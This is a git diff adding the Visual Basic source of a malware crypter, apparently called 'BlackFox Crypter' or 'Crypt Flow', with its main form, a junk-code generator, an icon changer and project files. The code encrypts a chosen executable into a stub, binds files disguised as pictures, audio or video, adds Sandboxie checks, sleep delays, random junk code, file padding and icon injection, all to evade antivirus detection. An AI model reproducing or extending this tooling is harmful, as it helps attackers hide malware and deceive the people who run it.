sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "") + + sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "") + Else + Dim retard As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text)) + sursa = sursa.Replace("cacatzel", Compactdisk.mortzi(retard)) + sursa = sursa.Replace("fagi", "encr") + sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "") + sursa = sursa.Replace("dropsor", "bilibistroc") + End If + End If + If RadioButton4.Checked = True Then + + If Checkbox6.CheckedState = True Then + Dim retard3 As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text)) + sursa = sursa.Replace("bilibistroc", Compactdisk.mortzi(retard3)) + sursa = sursa.Replace("gifa", "cacatzel") + + sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "") + sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "") + sursa = sursa.Replace("fagi", "encr") + Else + Dim retard2 As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), "parola") + sursa = sursa.Replace("encr", Compactdisk.mortzi(retard2)) + sursa = sursa.Replace("gifa", "cacatzel") + sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "") + sursa = sursa.Replace("dropsor", "bilibistroc") + + End If + + End If + + + + + + + + If Checkbox5.CheckedState = True Then + TextBox1.Text = ReadEOFData(TextBox1.Text) + ReadEOFData(TextBox1.Text) + WriteEOFData(dialog2.FileName, TextBox1.Text) + End If + If Checkbox2.CheckedState Then + + Dim bindinput As Byte() = secure(IO.File.ReadAllBytes(TextBox3.Text)) 'Read & Encrypt Binded File + sursa = sursa.Replace("bind2", Compactdisk.mortzi(bindinput)) 'Format the input bytes and place them in the temp source + If ComboBox1.SelectedItem = ("Pictures") Then + sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".jpg") + End If + If ComboBox1.SelectedItem = ("Audio") Then + sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".mp3") + End If + If ComboBox1.SelectedItem = ("Video") Then + sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".avi") + End If + Else + sursa = sursa.Replace("blablabla", "bind2") + End If + + sursa = sursa.Replace("am reusit", stealth.Text) + If Checkbox1.CheckedState = True Then + sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee") + sursa = sursa.Replace("#false#", "false") + sursa = sursa.Replace("#rundll32 .exe#", "rundll32 .exe") + sursa = sursa.Replace("#rundll32 #", "rundll32 ") + End If + If Checkbox8.CheckedState = True Then + sursa = sursa.Replace("#false#", "false") + sursa = sursa.Replace("#rundll32 .exe#", "something.exe") + sursa = sursa.Replace("#rundll32 #", "something") + sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee") + End If + If Checkbox1.CheckedState And Checkbox8.CheckedState = True Then + sursa = sursa.Replace("#false#", "false") + sursa = sursa.Replace("#rundll32 .exe#", "something.exe") + sursa = sursa.Replace("#rundll32 #", "something") + sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee") + Else + sursa = sursa.Replace("#false#", "false") + sursa = sursa.Replace("#rundll32 .exe#", "something.exe") + sursa = sursa.Replace("#rundll32 #", "something") + End If + + If Checkbox4.CheckedState = True Then + + + + Else + + + sursa = sursa.Replace("sandboxierpcss", "nothong") + + + End If + + If chkJunk.CheckedState = True Then + Dim Junk1 As String + Dim Junk2 As String + Dim Junk3 As String + + Junk1 = GenerateJunk(RandomNumber(2, 1)) + Junk2 = GenerateJunk(RandomNumber(3, 1)) + Junk3 = GenerateJunk(RandomNumber(3, 1)) + sursa = sursa.Replace("%101%", Junk1) + sursa = sursa.Replace("%102%", Junk2) + sursa = sursa.Replace("%103%", Junk3) + + Else + sursa = sursa.Replace("%101%", "") + sursa = sursa.Replace("%102%", "") + sursa = sursa.Replace("%103%", "") + End If + If Checkbox7.CheckedState = True Then + sursa = sursa.Replace("%200%", "Threading.Thread.Sleep(10000)") + Else + sursa = sursa.Replace("%200%", " ") + End If + If Checkbox7.CheckedState = True Then + sursa = sursa.Replace("%200%", "Threading.Thread.Sleep(10000)") + sursa = sursa.Replace("10000", Textbox5.Text * 1000) + Else + sursa = sursa.Replace("%200%", " ") + End If + If Checkbox9.CheckedState = True Then + sursa = sursa.Replace("%28%", "hhhhhhhhhheeeee") + End If + + dwqeEQE3Q2.edasr232222dF(dialog2.FileName, sursa, "") + + + + + If TextBox2.Text = vbNullString Then + MsgBox("Your File Is Crypted Without an Icon", MsgBoxStyle.Information, "BlackFox Crypter") + Else + IconChanger.InjectIcon(dialog2.FileName, TextBox2.Text) + MsgBox("Your File Is Crypted", MsgBoxStyle.Information, "BlackFox Crypter") + End If + If Checkbox3.CheckedState Then + On Error Resume Next + + Dim sizeaia As Double = Val(NumericUpDown2.Value) + IO.File.Copy(TextBox1.Text, dialog2.FileName) + If RadioButton1.Checked Then + sizeaia = sizeaia * 1025 + End If + If RadioButton2.Checked Then + sizeaia = sizeaia * 1048575 + End If + Dim pompeaza = IO.File.OpenWrite(dialog2.FileName) + Dim marishor = pompeaza.Seek(0, IO.SeekOrigin.[End]) + While marishor < sizeaia + pompeaza.WriteByte(0) + marishor += 1 + End While + pompeaza.Close() + End If + ' Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text)) + ' If My.Computer.FileSystem.FileExists(dialog2.FileName) Then + ' My.Computer.FileSystem.DeleteFile(dialog2.FileName) + ' End If + ' IO.File.Copy(Application.StartupPath & "\ady.exe", dialog2.FileName) + ' IO.File.AppendAllText(dialog2.FileName, ady & Convert.ToBase64String(file1)) + + End Sub + Public Function GenMask(ByVal StringMask As String) As String + On Error Resume Next + Dim OutputString As String + Dim random As New Random() + Dim key_lowercase As String = "abcdefghijklmnopqrstuvwxyz" + Dim key_uppercase As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + OutputString = "" + + For i = 0 To StringMask.Length - 1 + + If StringMask.Substring(i, 1) = "#" Then + OutputString = OutputString & random.Next(0, 9) + ElseIf StringMask.Substring(i, 1) = "@" Then + OutputString = OutputString & key_lowercase.Substring(random.Next(0, key_lowercase.Length), 1) + ElseIf StringMask.Substring(i, 1) = "$" Then + OutputString = OutputString & key_uppercase.Substring(random.Next(0, key_uppercase.Length), 1) + ElseIf StringMask.Substring(i, 1) = "%" Then + Dim random2 As String = random.Next(1, 4) + If random2 <= 1 Then + OutputString = OutputString & key_uppercase.Substring(random.Next(0, key_uppercase.Length), 1) + ElseIf random2 = 2 Then + OutputString = OutputString & key_lowercase.Substring(random.Next(0, key_lowercase.Length), 1) + ElseIf random2 >= 3 Then + OutputString = OutputString & random.Next(0, 9) + End If + Else + OutputString = OutputString & StringMask.Substring(i, 1) + End If + Next + + Return OutputString.ToString + End Function + + Private Sub FlowButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton1.Click + Me.Close() + End Sub + + Private Sub FlowButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton2.Click + Me.WindowState = FormWindowState.Minimized + End Sub + + Private Sub FlowTheme1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowTheme1.Click + + End Sub + + Private Sub RadioButton4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton4.CheckedChanged + + End Sub + + + Private Sub FlowCheckbox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + + End Sub + + Private Sub BtnTest_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnTest.Click + MessageBox.Show(TxtBody.Text, TxtMTitle1.Text, MessageBoxButtons.OK) + End Sub + + Private Sub FlowCheckbox6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowCheckbox6.Click + If Label1.Text = "Activated" Then Label1.Text = "De-Activated" Else Label1.Text = "Activated" + + End Sub + + Private Sub FlowCheckbox9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + + End Sub + + Private Sub FlowCheckbox13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + + End Sub + + Private Sub FlowCheckbox11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + + End Sub + + Private Sub FlowCheckbox12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + + End Sub + + Private Sub TabPage6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage6.Click + + End Sub + + Private Sub TextBox10_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Copyright.TextChanged + + End Sub + + Private Sub FlowButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton4.Click + TextBox6.Text = GenMask("@%$%$#$$@%@@##$#%$@@%##%$@%%$#%##$%$") + End Sub + + Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click + + End Sub +End Class +Public Class Compactdisk + Public Shared Function mortzi(ByVal bas As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings + Dim piula As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the piulaput string + Dim miros As String = Convert.ToBase64String(bas) ' Get a readable String from the Byte Array + Dim arr As String() = beleste(miros, 50000) ' Split the string into parts to fit in the Codedom-lines + For M As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array + If M = arr.Length - 1 Then ' If i equals the highest number + piula.Append(Chr(34) & arr(M) & Chr(34)) + Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1) + piula.Append(Chr(34) & arr(M) & Chr(34) & " & _" & vbNewLine) + End If + Next + Return piula.ToString + End Function + Private Shared Function beleste(ByVal bas As String, ByVal sadsa As Long) As String() + Dim carnatzel As Long = Math.Ceiling(bas.Length / sadsa) + Dim piula(carnatzel - 1) As String + Dim MAMAIE As Long = 0 + For C As Integer = 0 To carnatzel - 1 + If C = carnatzel - 1 Then + Dim femp((bas.Length - MAMAIE) - 1) As Char + bas.CopyTo(MAMAIE, femp, 0, (bas.Length - MAMAIE)) + piula(C) = Convert.ToString(femp) + Else + Dim femp(sadsa - 1) As Char + bas.CopyTo(MAMAIE, femp, 0, sadsa) + piula(C) = Convert.ToString(femp) + MAMAIE += sadsa + End If + Next + Return piula + End Function + + + + + + +End Class diff --git a/scode (Crypt Flow/Crypt Flow/JunkCoder.vb b/scode (Crypt Flow/Crypt Flow/JunkCoder.vb new file mode 100644 index 0000000..f021100 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/JunkCoder.vb @@ -0,0 +1,164 @@ +Module JunkCoder + Function RandomNumber(ByVal MaxNumber As Integer, _ + Optional ByVal MinNumber As Integer = 0) As Integer + Dim r As New Random(System.DateTime.Now.Millisecond) + If MinNumber > MaxNumber Then + Dim t As Integer = MinNumber + MinNumber = MaxNumber + MaxNumber = t + End If + + Return r.Next(MinNumber, MaxNumber) + End Function + + Function GenerateJunk(ByVal Ammount As Integer) As String + + If Ammount = 0 Then + Ammount = 1 + End If + + Dim out As String = "Module " & s(20) + Dim y As Integer = 0 + + Do Until y = Ammount + + Rnd() + Dim a As Integer = n(3, 1) + + Dim e As String = s(60) + If a = 1 Then + out += vbNewLine & vbNewLine & "Public Function " & s(124) & "(" & s(16) & " as string)as string" & vbNewLine + + out += "on error goto " & e & vbNewLine + Else + out += vbNewLine & "Public Sub " & s(n(50, 8)) & "(" & s(49) & " as string)" & vbNewLine + End If + + Dim i As Integer = 0 + + Dim limit As Integer = n(30, 10) + + Do Until i = limit + Rnd() + Dim type As Integer = n(5, 0) + + + If type = 1 Then + out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine + i += 1 + ElseIf type = 2 Then + out += "msgbox(" & Chr(34) & s(n(100, 276)) & Chr(34) & ")" & vbNewLine + i += 1 + ElseIf type = 3 Then + Rnd() + out += "Dim " & s(56) & " as integer = " & n(999999, 100000) & vbNewLine + i += 1 + Else + out += "dim " & s(n(10, 60)) & " as integer = " & n(100000, 9999999) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & vbNewLine + End If + + Loop + If a = 1 Then + out += e & ":" & vbNewLine + + Dim h As Integer = 0 + Dim hl As Integer = n(10, 3) + Do Until h = hl + + Dim type As Integer = n(4, 0) + + + If type = 1 Then + out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine + i += 1 + ElseIf type > 1 Then + out += "msgbox(" & Chr(34) & s(n(100, 276)) & Chr(34) & ")" & vbNewLine + i += 1 + out += "If " & n(100000, 9999999) & " > " & n(214124, 1243145) & " then" & vbNewLine + + out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine + out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine + out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine + out += "End if" & vbNewLine + + Else + Rnd() + out += "Dim " & s(56) & " as integer = " & n(999999, 100000) & vbNewLine + i += 1 + End If + h += 1 + Loop + out += vbNewLine + + out += "End Function" & vbNewLine & vbNewLine + + Else + out += "End Sub" & vbNewLine & vbNewLine + End If + y += 1 + Loop + out += "End Module" + + Return out + End Function + + Function s(ByVal len As String) As String + Dim x As New Password + Return x.GeneratePassword(True, True, False, False, len) + End Function + + Public Function n(ByVal MaxNumber As Integer, _ + Optional ByVal MinNumber As Integer = 0) As Integer + Rnd() + Threading.Thread.Sleep(5) + 'initialize random number generator + Dim r As New Random(System.DateTime.Now.Millisecond) + + If MinNumber > MaxNumber Then + Dim t As Integer = MinNumber + MinNumber = MaxNumber + MaxNumber = t + End If + + Return r.Next(MinNumber, MaxNumber) + + End Function + + Public Class Password + + Private Const PASS_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + Private Const PASS_LOWERS As String = "abcdefghijklmnopqrstuvwxyz" + Private Const PASS_NUMBERS As String = "0123456789" + Private Const PASS_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?" + + Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String + + Dim strCharacters As String + Dim strNewPassword As String + Dim p As Integer + + If Uppers = True Then + strCharacters = strCharacters & PASS_UPPERS + End If + If Lowers = True Then + strCharacters = strCharacters & PASS_LOWERS + End If + If Numbers = True Then + strCharacters = strCharacters & PASS_NUMBERS + End If + If Specials = True Then + strCharacters = strCharacters & PASS_SPECIALS + End If + + Randomize() + + For p = 0 To (passwordLength - 1) + strNewPassword = strNewPassword + Mid(strCharacters, Len(strCharacters) * Rnd() + 1, 1) + Next + + GeneratePassword = strNewPassword + + End Function + + End Class +End Module diff --git a/scode (Crypt Flow/Crypt Flow/Miharbi Icon Changer.vb b/scode (Crypt Flow/Crypt Flow/Miharbi Icon Changer.vb new file mode 100644 index 0000000..dbec7b0 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Miharbi Icon Changer.vb @@ -0,0 +1,152 @@ +Option Strict On +Option Explicit On +Option Infer On +Imports System.Runtime.InteropServices +Imports System.Security + +Public Class IconChanger + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON As UInteger = 3UI + Const RT_GROUP_ICON As UInteger = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class diff --git a/scode (Crypt Flow/Crypt Flow/My Project/Application.Designer.vb b/scode (Crypt Flow/Crypt Flow/My Project/Application.Designer.vb new file mode 100644 index 0000000..036a302 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' Ce code a été généré par un outil. +' Version du runtime :4.0.30319.239 +' +' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +' le code est régénéré. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'REMARQUE : ce fichier étant généré automatiquement, ne le modifiez pas directement. Pour apporter des modifications, + ' ou si vous rencontrez des erreurs de build dans ce fichier, accédez au Concepteur de projets + ' (allez dans les propriétés du projet ou double-cliquez sur le noeud My project dans + ' l'Explorateur de solutions), puis apportez vos modifications sous l'onglet Application. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Crypt_Flow.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Crypt Flow/Crypt Flow/My Project/Application.myapp b/scode (Crypt Flow/Crypt Flow/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Crypt Flow/Crypt Flow/My Project/AssemblyInfo.vb b/scode (Crypt Flow/Crypt Flow/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..9e8438e --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Crypt Flow/Crypt Flow/My Project/Resources.Designer.vb b/scode (Crypt Flow/Crypt Flow/My Project/Resources.Designer.vb new file mode 100644 index 0000000..d89b1db --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/Resources.Designer.vb @@ -0,0 +1,100 @@ +'------------------------------------------------------------------------------ +' +' Ce code a été généré par un outil. +' Version du runtime :4.0.30319.239 +' +' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +' le code est régénéré. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder + 'à l'aide d'un outil, tel que ResGen ou Visual Studio. + 'Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen + 'avec l'option /str ou régénérez votre projet VS. + ''' + ''' Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Retourne l'instance ResourceManager mise en cache utilisée par cette classe. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Crypt_Flow.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Remplace la propriété CurrentUICulture du thread actuel pour toutes + ''' les recherches de ressources à l'aide de cette classe de ressource fortement typée. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property Res() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Res", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Recherche une chaîne localisée semblable à Imports System, Microsoft.VisualBasic + '''Imports System.Runtime.InteropServices + '''Imports System.Text + '''Imports System.Reflection + '''Imports System.Security.Cryptography + '''Imports System.Runtime.CompilerServices + '''Imports System.IO + '''Imports System.IO.FileStream + '''Imports System.ComponentModel + '''Imports Microsoft.Win32 + '''Imports System.Diagnostics + '''Imports System.Object + '''Imports System.Net + '''Imports System.Windows.Forms + '''Imports System.Threading.Thread + '''Imports System.Environment + ''' + ''' + ''' + ''' + '''Module pizde + ''' Dim iohouh787 [le reste de la chaîne a été tronqué]";. + ''' + Friend ReadOnly Property sursa() As String + Get + Return ResourceManager.GetString("sursa", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Crypt Flow/Crypt Flow/My Project/Resources.resx b/scode (Crypt Flow/Crypt Flow/My Project/Resources.resx new file mode 100644 index 0000000..dba9d97 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/Resources.resx @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Res.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\sursa.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/My Project/Settings.Designer.vb b/scode (Crypt Flow/Crypt Flow/My Project/Settings.Designer.vb new file mode 100644 index 0000000..d453816 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' Ce code a été généré par un outil. +' Version du runtime :4.0.30319.239 +' +' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +' le code est régénéré. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "Fonctionnalité Enregistrement automatique My.Settings" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Crypt_Flow.My.MySettings + Get + Return Global.Crypt_Flow.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Crypt Flow/Crypt Flow/My Project/Settings.settings b/scode (Crypt Flow/Crypt Flow/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Crypt Flow/Crypt Flow/Resources/AG.Configuration.SettingsProviders.dll b/scode (Crypt Flow/Crypt Flow/Resources/AG.Configuration.SettingsProviders.dll new file mode 100644 index 0000000..0465ee4 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/AG.Configuration.SettingsProviders.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/AG.Deployment.Updating.dll b/scode (Crypt Flow/Crypt Flow/Resources/AG.Deployment.Updating.dll new file mode 100644 index 0000000..816fa2d Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/AG.Deployment.Updating.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Installer.dll b/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Installer.dll new file mode 100644 index 0000000..6142903 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Installer.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Settings.dll b/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Settings.dll new file mode 100644 